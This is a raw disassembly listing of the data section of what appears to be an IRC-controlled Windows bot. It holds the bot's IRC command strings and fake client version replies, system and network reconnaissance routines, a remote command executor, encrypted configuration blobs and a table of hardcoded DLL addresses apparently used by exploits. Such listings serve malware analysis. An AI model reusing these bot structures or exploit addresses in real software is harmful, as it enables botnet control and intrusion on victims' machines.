		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4	dd 73h			; DATA XREF: sub_4083AD:loc_4086C8o
					; sub_4083AD:loc_4086E7o ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_4083AD+296o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4083AD:loc_4085EBo
					; sub_408B30:loc_408CB4o ...
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4083AD+232o
					; sub_408B30+178o ...
a2003		db '2003',0             ; DATA XREF: sub_4083AD+1FFo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4083AD+1E1o
		align 10h
a2000		db '2000',0             ; DATA XREF: sub_4083AD+1C3o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4083AD+1A5o
		align 4
a98		db '98',0               ; DATA XREF: sub_4083AD+187o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4083AD+166o
		align 4
a95		db '95',0               ; DATA XREF: sub_4083AD+153o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: sub_4083AD+12Eo
		align 10h
a?:					; DATA XREF: sub_4083AD+124o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4087C4+2Bo
		align 4
dword_419284	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_408B30+2D4o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_408B30+1F9o
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: sub_408B30+1E3o
aBad		db 'Bad',0              ; DATA XREF: sub_408B30+1CDo
aLan		db 'LAN',0              ; DATA XREF: sub_408B30:loc_408C8Fo
aModem		db 'Modem',0            ; DATA XREF: sub_408B30+14Do
		align 10h
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_408B30+F5o
					; sub_408B30+108o
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_408E4A+2Bo
		align 4
dword_419398	dd 5C3A41h		; DATA XREF: sub_408E8E+6r
					; sub_408F2E+4Er ...
dword_41939C	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_408F2E+270o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4	dd 30037325h, 73250234h, 73250203h, 0 ;	DATA XREF: sub_408F2E+1EDo
dword_4193E4	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_408F2E+1C5o
		dd 20424D02h, 65657266h, 0
dword_419404	dd 202Eh		; DATA XREF: sub_408F2E+17Co
					; sub_408F2E+24Ao
aUnknown	db 'unknown',0          ; DATA XREF: sub_408F2E:loc_40902Do
					; sub_4129CA+34o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_408F2E+F6o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_408F2E+E4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: sub_408F2E+D2o
		align 4
aFixed		db 'fixed',0            ; DATA XREF: sub_408F2E+C0o
		align 10h
aRemovable	db 'removable',0        ; DATA XREF: sub_408F2E+AEo
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
		align 4
aThread		db 'thread',0           ; DATA XREF: sub_4093B6+98o
					; sub_4094E6+93o
		align 10h
aBtg		db 'btg',0              ; DATA XREF: sub_4093B6+93o
dword_419474	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o
aBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_4097A7+81o
					; sub_4098F3+C4o
		align 4
dword_4194BC	dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo
dword_4194CC	dd 3430032Dh, 2037802h	; DATA XREF: sub_409AD5:loc_409B25o
aNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4194EC	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_409AD5+3Ao
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
		align 10h
dword_419540	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_409DD0+3A3o
		dd 30033A72h, 64250234h, 203h
dword_419568	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+37Fo
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_419594	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+32Fo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409DD0+80o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409DD0+6Ao
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409DD0:loc_409E24o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_409DD0+34o
		align 4
unk_419618	db  55h	; U		; DATA XREF: sub_40A1A7+Co
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_41965C	dd 202h			; DATA XREF: sub_40A2D2+159o
dword_419660	dd 0A0D7325h, 0		; DATA XREF: sub_40A2D2+6Eo
dword_419668	dd 3334h		; DATA XREF: sub_40A2D2+41o
dword_41966C	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40A2D2+24o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_419698	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_40A4A4+44o
		dd 2E020373h, 0
dword_4196B4	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40A50E+97o
		dd 30032072h, 73250234h, 203h
dword_4196D4	dd 0F88094A8h, 0D0F3A2F0h, 0A0C6E2BCh, 0EDA8h, 0
					; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_40A8AD+1Bo
		align 10h
aUsername	db 'username',0         ; DATA XREF: sub_40A9CF:loc_40C8EAo
		align 4
aId		db 'id',0               ; DATA XREF: sub_40A9CF+1EF2o
		align 10h
dword_419700	dd 12EA0h		; DATA XREF: sub_40A9CF+1ECDr
		align 8
dword_419708	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40A9CF+1EB1o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C	dd 4DC8A28h		; DATA XREF: sub_40A9CF+1C87r
		dd 2 dup(0)
dword_419788	dd 4D38h		; DATA XREF: sub_40A9CF+1C72r
		align 10h
dword_419790	dd 22710E8h		; DATA XREF: sub_40A9CF+1C4Br
		dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40A9CF+1BFAo
		align 4
dword_4197A4	dd 99C3EAA0h		; DATA XREF: sub_40A9CF+1BE9r
		dd 3 dup(0)
dword_4197B4	dd 261D51F8h		; DATA XREF: sub_40A9CF+1BC2r
		align 10h
dword_4197C0	dd 260A0h		; DATA XREF: sub_40A9CF+1BADr
		align 8
dword_4197C8	dd 1371D1F8h		; DATA XREF: sub_40A9CF+1B86r
		dd 2 dup(0)
dword_4197D4	dd 135E8h		; DATA XREF: sub_40A9CF+1B71r
		dd 0
dword_4197DC	dd 0E7606A0h		; DATA XREF: sub_40A9CF+1B36r
		dd 2 dup(0)
dword_4197E8	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40A9CF+1B17o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_41980C	dd 18820E30h		; DATA XREF: sub_40A9CF+1AFCr
		dd 2 dup(0)
dword_419818	dd 18788h		; DATA XREF: sub_40A9CF+1AE7r
		align 10h
dword_419820	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40A9CF+1AC8o
		dd 63h
dword_419838	dd 4CBE20h		; DATA XREF: sub_40A9CF+19B1r
		dd 2 dup(0)
dword_419844	dd 2343003h, 2037325h	; DATA XREF: sub_40A9CF+1992o
aHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_419860	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40A9CF+1976o
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40A9CF+1851o
		align 4
dword_419898	dd 0E7AAB82Ch		; DATA XREF: sub_40A9CF+180Br
		dd 3 dup(0)
dword_4198A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40A9CF+17C1o
		dd 2037325h, 0
dword_4198C4	dd 158F28h		; DATA XREF: sub_40A9CF+1710r
		align 10h
dword_4198D0	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40A9CF+16F1o
					; sub_40A9CF+17ECo
		dd 2037325h, 2Eh
dword_4198EC	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40A9CF+16AAo
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_419920	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_40A9CF+1659o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419944	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40A9CF+1602o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419968	dd 3Ch			; DATA XREF: sub_40A9CF:loc_40BFBAo
					; sub_40A9CF:loc_40C011o ...
dword_41996C	dd 0FF28h		; DATA XREF: sub_40A9CF+1534r
		dd 0
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
		align 4
dword_41998C	dd 5B7606ABh		; DATA XREF: sub_40A9CF+14F5r
		dd 3 dup(0)
dword_41999C	dd 26C9788h		; DATA XREF: sub_40A9CF+14E0r
		dd 2 dup(0)
dword_4199A8	dd 48B0h		; DATA XREF: sub_40A9CF+14B2r
		align 10h
dword_4199B0	dd 4CEEE8h		; DATA XREF: sub_40A9CF+1484r
		dd 2 dup(0)
dword_4199BC	dd 0ECE0h		; DATA XREF: sub_40A9CF+146Fr
		dd 0
dword_4199C4	dd 0DC9BA4F1h		; DATA XREF: sub_40A9CF+1450r
		dd 3 dup(0)
dword_4199D4	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40A9CF+1431o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_419A04	dd 8A248h		; DATA XREF: sub_40A9CF+1400r
		align 10h
dword_419A10	dd 2D77B5A0h		; DATA XREF: sub_40A9CF+1399r
		dd 2 dup(0)
dword_419A1C	dd 10468h		; DATA XREF: sub_40A9CF+1374r
		dd 0
dword_419A24	dd 12BBA0h		; DATA XREF: sub_40A9CF+135Fr
		align 10h
dword_419A30	dd 1471A0h		; DATA XREF: sub_40A9CF+134Ar
		dd 2 dup(0)
dword_419A3C	dd 45444F4Dh, 732520h	; DATA XREF: sub_40A9CF+1333o
dword_419A44	dd 8BD28h		; DATA XREF: sub_40A9CF+1310r
		align 10h
dword_419A50	dd 1277AE62h		; DATA XREF: sub_40A9CF+12E9r
		align 10h
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn		db 'on',0               ; DATA XREF: sub_40A9CF+1280o
					; sub_40A9CF:loc_40BC84o
		align 4
off_419A7C	dd offset loc_410DB7+1	; DATA XREF: sub_40A9CF+125Fr
		dd 2 dup(0)
dword_419A88	dd 2DCF8h		; DATA XREF: sub_40A9CF+122Br
		align 10h
dword_419A90	dd 4688368h		; DATA XREF: sub_40A9CF+11E7r
		dd 2 dup(0)
dword_419A9C	dd 123B8h		; DATA XREF: sub_40A9CF+11A3r
		dd 0
dword_419AA4	dd 4C2338h		; DATA XREF: sub_40A9CF+114Cr
		align 10h
dword_419AB0	dd 54524150h, 732520h	; DATA XREF: sub_40A9CF+1135o
dword_419AB8	dd 1265A0h		; DATA XREF: sub_40A9CF+1112r
		dd 2 dup(0)
dword_419AC4	dd 0C0AB0h		; DATA XREF: sub_40A9CF+10B0r
		align 10h
dword_419AD0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o
					; sub_40A9CF+10FAo ...
dword_419ADC	dd 0A6CB0h		; DATA XREF: sub_40A9CF+102Cr
		dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
		align 4
dword_419AFC	dd 5AF4DA8h		; DATA XREF: sub_40A9CF+FF6r
		dd 2 dup(0)
dword_419B08	dd 8085E8h		; DATA XREF: sub_40A9CF+FC1r
		dd 2 dup(0)
dword_419B14	dd 4CD168h		; DATA XREF: sub_40A9CF+F80r
		align 10h
dword_419B20	dd 0CEF58D2Ch		; DATA XREF: sub_40A9CF+F52r
		align 10h
dword_419B30	dd 2DB260E0h		; DATA XREF: sub_40A9CF+F24r
		dd 2 dup(0)
dword_419B3C	dd 90BBA32Ch		; DATA XREF: sub_40A9CF+EFEr
		dd 3 dup(0)
dword_419B4C	dd 48489E0h		; DATA XREF: sub_40A9CF+ED0r
		dd 2 dup(0)
dword_419B58	dd 1246E8h		; DATA XREF: sub_40A9CF+EAAr
		dd 2 dup(0)
dword_419B64	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40A9CF+E77o
dword_419B78	dd 0DFBD949h		; DATA XREF: sub_40A9CF+E5Ar
		dd 3 dup(0)
dword_419B88	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+E2Fo
		dd 2037325h, 0
off_419BA4	dd offset loc_40E3E0	; DATA XREF: sub_40A9CF+DC8r
		align 10h
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
		align 4
dword_419BC4	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+D20o
		dd 2037325h, 0
dword_419BE0	dd 293E0h		; DATA XREF: sub_40A9CF+CAFr
		align 8
dword_419BE8	dd 0E426671h		; DATA XREF: sub_40A9CF+C68r
		dd 3 dup(0)
dword_419BF8	dd 0E04A6C27h		; DATA XREF: sub_40A9CF+C05r
		dd 4 dup(0)
dword_419C0C	dd 2BBDB0A9h		; DATA XREF: sub_40A9CF+BDEr
		dd 3 dup(0)
dword_419C1C	dd 86670h		; DATA XREF: sub_40A9CF+B97r
		dd 2 dup(0)
dword_419C28	dd 23C76670h		; DATA XREF: sub_40A9CF+B82r
		dd 2 dup(0)
dword_419C34	dd 4CBE670h		; DATA XREF: sub_40A9CF+B6Dr
		align 10h
dword_419C40	dd 2577B5A0h		; DATA XREF: sub_40A9CF+B3Fr
		dd 2 dup(0)
dword_419C4C	dd 203A5049h, 2343003h,	2037325h, 0 ; DATA XREF: sub_40A9CF+B20o
dword_419C5C	dd 4C38h		; DATA XREF: sub_40A9CF+B0Cr
		dd 0
dword_419C64	dd 123F0AA8h		; DATA XREF: sub_40A9CF+AE5r
		align 10h
dword_419C70	dd 289D4860h		; DATA XREF: sub_40A9CF+AB4r
		dd 2 dup(0)
dword_419C7C	dd 28A446E8h		; DATA XREF: sub_40A9CF+A83r
		dd 2 dup(0)
dword_419C88	dd 5E9DD92Bh		; DATA XREF: sub_40A9CF+A5Dr
		dd 3 dup(0)
dword_419C98	dd 5E9E29C3h		; DATA XREF: sub_40A9CF+A11r
		dd 3 dup(0)
dword_419CA8	dd 489DAC36h		; DATA XREF: sub_40A9CF+9DCr
		dd 3 dup(0)
dword_419CB8	dd 29A560E1h		; DATA XREF: sub_40A9CF+9A1r
		dd 3 dup(0)
dword_419CC8	dd 9A060h		; DATA XREF: sub_40A9CF+96Cr
		dd 2 dup(0)
dword_419CD4	dd 69F334E0h		; DATA XREF: sub_40A9CF+937r
		dd 3 dup(0)
dword_419CE4	dd 14EFBCE0h		; DATA XREF: sub_40A9CF+911r
		align 10h
dword_419CF0	dd 0A7768h		; DATA XREF: sub_40A9CF+8FCr
		dd 2 dup(0)
dword_419CFC	dd 0B4768h		; DATA XREF: sub_40A9CF+8C5r
		dd 2 dup(0)
dword_419D08	dd 43B8h		; DATA XREF: sub_40A9CF+87Er
		align 10h
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_40A9CF:loc_40B1D8o
		align 4
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
		align 4
dword_419D68	dd 2343003h, 4B4F5242h,	2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo
dword_419D78	dd 2333003h, 2034B4Fh, 0 ; DATA	XREF: sub_40A9CF+7D2o
dword_419D84	dd 0AFh, 0		; DATA XREF: sub_40A9CF+79Eo
dword_419D8C	dd 0B4B7B58Ah, 0EBD0ACF6h, 0EE9DA98Dh, 0DBFAB7E3h, 0B19CD9FFh
					; DATA XREF: sub_40A9CF+790o
		dd 8CBCB6DEh, 0E09BA9F5h, 2 dup(0)
dword_419DB0	dd 3115E88h		; DATA XREF: sub_40A9CF+77Ar
		dd 2 dup(0)
dword_419DBC	dd 0B12C0878h		; DATA XREF: sub_40A9CF+753r
		dd 3 dup(0)
dword_419DCC	dd 0EE5AD128h		; DATA XREF: sub_40A9CF+6EDr
		dd 3 dup(0)
aALSsSCJEKi	db '¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›',0 ; DATA XREF: sub_40A9CF+534o
		align 4
		dd 0
dword_419DFC	dd 0F888959Bh, 0F2FEEDF7h, 0BB8CE3A7h, 0C489EDAEh, 2 dup(0)
					; DATA XREF: sub_40A9CF+448o
dword_419E14	dd 0C5A9B38Ch, 0E7C0CDD4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: sub_40A9CF+437o
		dd 0CDF6E2EAh, 80C8FFA2h, 0F583C599h, 0FF8A8EADh, 0D0F7DAF7h
		dd 0A087E5A6h, 2 dup(0)
dword_419E48	dd 24648h		; DATA XREF: sub_40A9CF+410r
		align 10h
dword_419E50	dd 29A012A1h		; DATA XREF: sub_40A9CF+3E9r
		align 10h
dword_419E60	dd 29A0C6E9h		; DATA XREF: sub_40A9CF+3BBr
		align 10h
dword_419E70	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40A9CF+39Co
		dd 3203A64h, 25023430h,	20373h
dword_419E90	dd 0FDD9520h		; DATA XREF: sub_40A9CF+2C0r
		dd 2 dup(0)
dword_419E9C	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40A9CF+2A1o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_419EC0	dd 232320h		; DATA XREF: sub_40A9CF+1E3o
dword_419EC4	dd 25219520h		; DATA XREF: sub_40A9CF+18Dr
		align 10h
dword_419ED0	dd 407D28h		; DATA XREF: sub_40A9CF+158r
		dd 2 dup(0)
dword_419EDC	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40A9CF+139o
		dd 2037325h, 0
dword_419EF8	dd 47B91A8h		; DATA XREF: sub_40A9CF+106r
		dd 2 dup(0)
dword_419F04	dd 4B43494Eh, 732520h	; DATA XREF: sub_40A9CF+CCo
					; sub_40A9CF+EFo ...
dword_419F0C	dd 132330h		; DATA XREF: sub_40A9CF+90r
		dd 2 dup(0)
dword_419F18	dd 3677C869h		; DATA XREF: sub_40A9CF+69r
		dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
					; sub_40D871+85Fo
		align 4
asc_419F48:				; DATA XREF: sub_40C93C+30o
					; sub_40C93C+B5o
		unicode	0, <;>,0
asc_419F4C	db '<=',0               ; DATA XREF: sub_40CA29:loc_40CE59o
		align 10h
asc_419F50	db '>=',0               ; DATA XREF: sub_40CA29:loc_40CE07o
		align 4
asc_419F54:				; DATA XREF: sub_40CA29:loc_40CDDBo
		dw 3Eh
		unicode	0, <>,0
asc_419F58	db '!=',0               ; DATA XREF: sub_40CA29:loc_40CDAFo
		align 4
asc_419F5C	db '==',0               ; DATA XREF: sub_40CA29:loc_40CD83o
		align 10h
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40CA29:loc_40CC43o
					; sub_40CA29:loc_40CD58o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40CA29:loc_40CC1Fo
					; sub_40CA29:loc_40CD34o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40CA29:loc_40CBFBo
					; sub_40CA29:loc_40CD10o
		align 10h
aFree		db '$free',0            ; DATA XREF: sub_40CA29:loc_40CBD7o
					; sub_40CA29:loc_40CCECo
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40CA29:loc_40CBB1o
					; sub_40CA29:loc_40CCC6o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40CA29+158o
					; sub_40CA29+26Do
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40CA29+EEo
		align 4
asc_419FAC	db '&&',0               ; DATA XREF: sub_40CA29+9Do
					; sub_40CA29+45Do
		align 10h
asc_419FB0:				; DATA XREF: sub_40CA29+28o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
		align 10h
a6667		db '6667',0             ; DATA XREF: sub_40CF2F:loc_40CF60o
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
					; sub_40D871+431o
		align 10h
aG:					; DATA XREF: sub_40D043+1DCo
					; sub_40D871+392o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_40D043+1C6o
					; sub_40D871+37Co
		unicode	0, <A>,0
aB:					; DATA XREF: sub_40D043+1B0o
					; sub_40D871+366o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_40D043+160o
					; sub_40D871+316o
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_40D043+3Fo
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_40D420+10o
					; sub_40D53F+37o
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_40D4AB+10o
					; sub_40D53F+AFo
		align 4
dword_41A038	dd 1			; DATA XREF: sub_40D53F:loc_40D680o
dword_41A03C	dd 7373656Dh, 20656761h, 0 ; DATA XREF:	sub_40D53F:loc_40D629o
dword_41A048	dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo
dword_41A058	dd 56495250h, 2047534Dh, 3A207325h, 1 ;	DATA XREF: sub_40D53F+63o
aMirc		db 'mIRC',0             ; DATA XREF: sub_40D734+6o
					; sub_40D74D:loc_40D76Eo
		align 10h
asc_41A070:				; DATA XREF: sub_40D871+CB7o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D871:loc_40E1C0o
					; sub_40E618+89o
		align 4
asc_41A07C	db '][',0               ; DATA XREF: sub_40D871+807o
					; sub_40D871+88Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_40D871:loc_40DF3Eo
		align 4
a@:					; DATA XREF: sub_40D871:loc_40DEBEo
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D871:loc_40DE96o
					; sub_40E618+33o
a451		db '451',0              ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_40D871+5C4o
					; sub_40D871+5EEo
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_40D871+571o
a001		db '001',0              ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_40D871+515o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_40D871:loc_40DD25o
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_40D871:loc_40DCFDo
		align 4
a433		db '433',0              ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8	dd 4950013Ah, 1474Eh	; DATA XREF: sub_40D871+290o
dword_41A0E0	dd 4950013Ah, 474Eh	; DATA XREF: sub_40D871:loc_40DAEBo
dword_41A0E8	dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_40D871+24Eo
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C	dd 4556013Ah, 4F495352h, 14Eh ;	DATA XREF: sub_40D871+226o
dword_41A138	dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o
aSend		db 'SEND',0             ; DATA XREF: sub_40D871+CDo
		align 4
dword_41A14C	dd 4344013Ah, 43h	; DATA XREF: sub_40D871+A6o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D871:loc_40D8DDo
					; sub_40D871+901o ...
aMode		db 'MODE',0             ; DATA XREF: sub_40D871:loc_40D8C2o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_40D871:loc_40D8A7o
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_40D871+25o
aPing		db 'PING',0             ; DATA XREF: sub_40D871+Ao
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40E618:loc_40E7A5o
		align 4
byte_41A18C	db 41h			; DATA XREF: sub_40E979+3Cr
					; sub_40EB4E+24r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
dword_41A1D0	dd 3430032Dh, 3732502h,	30032E02h, 73250234h, 202D0203h
					; DATA XREF: sub_4129CA+5Co
		dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
		dd 63207325h, 6C706D6Fh, 2E657465h, 0
		dd 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
		dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
		dd 2 dup(77E216B8h), 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
